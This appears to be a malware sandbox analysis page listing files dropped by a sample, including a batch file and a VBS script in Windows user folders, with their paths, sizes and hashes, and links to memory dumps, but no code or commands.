T13D215933F3DC8654D89A413A50CEAC1035A7C7DB809ECEDB7B84D559A42F689CE61560
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_gz1bk4gl.bju.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gz1bk4gl.bju.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ctX.bat

Path C:\Users\Admin\AppData\Local\Temp\ctX.bat
Size 1.7MB
SHA256 78f9a697485ad82ad650f3b6b43f3babcedfcc7a2171b52b2092d9811dc6cacd
MD5 5d38c0043a9ffa2f29dc793c3ca45c0f
SHA1 34d09598f8285b1589f240ab8d05bc5bef682b4b
SHA512 4b88dd03288300c9065f72ea89b2603351eadf046ac28b459c8897c1ad09b339294a565594898190cc07bc4e9b108ecc5e687e2ec70a371d9063461a7fa30cd6
SSDEEP 24576:jrLf6I91Qmz2vxfpG1upMahw79Va3uLxjQuPcGXPcyscgQjt4qDKL/hv9ufvY9:jXvSXKAUxhB2mfvA
TLSH
T11785F1B236A58244D647D3E6115117B0028FBCB7D9EBAEBBA092C172135B5BBCC50DF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Windows_Log_884.vbs

Path C:\Users\Admin\AppData\Roaming\Windows_Log_884.vbs
Size 115B
SHA256 37aecaa9702ca339e275b799433730e33c2a0f592afbb14248f2c0adbe5a8e62
MD5 48c0eb8c89060466c9680d36294d8996
SHA1 f90c166a04789176ea533607db77875892d3eaba
SHA512 c5e7b588ca97ce9039db6ca7b4a79cb6786bd39eb789095db31088d9ea424b67951b5cffd8c374ca99aed140b6c43225cf03a165dcadc5f01a367999cd0e106a
TLSH
T1E3B0923A2089898AA5159AA30776840C86A096902544A7A58A40C59D24A4518B686183
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2000-41-0x000002106D660000-0x000002106D792000-memory.dmp

Download

memory/2000-40-0x0000021054F90000-0x0000021054F98000-memory.dmp

Download

memory/2000-39-0x000002106D1E0000-0x000002106D228000-memory.dmp

Download

memory/2872-48-0x000002866D2A0000-0x000002866D2BE000-memory.dmp

Download

memory/2872-50-0x000002866D700000-0x000002866D7F0000-memory.dmp

Download

memory/5848-20-0x000001A29DDE0000-0x000001A29DDFE000-memory.dmp

Download

memory/5848-21-0x000001A29DE00000-0x000001A29DEB2000-memory.dmp

Download

memory/5848-28-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-29-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-30-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-32-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-26-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-25-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-24-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-23-0x000001A29DEC0000-0x000001A29DECA000-memory.dmp

Download

memory/5848-22-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-27-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-17-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-16-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-15-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-14-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-13-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-12-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-11-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-80-0x00007FFC1D6D0000-0x00007FFC1E074000-memory.dmp

Download

memory/5848-10-0x000001A2857F0000-0x000001A285812000-memory.dmp

Download

memory/5848-7-0x00007FFC1D85F000-0x00007FFC1D860000-memory.dmp

Download

memory/6136-74-0x000001DA3C270000-0x000001DA3C594000-memory.dmp

Download

memory/6136-81-0x000001DA3C170000-0x000001DA3C260000-memory.dmp

Download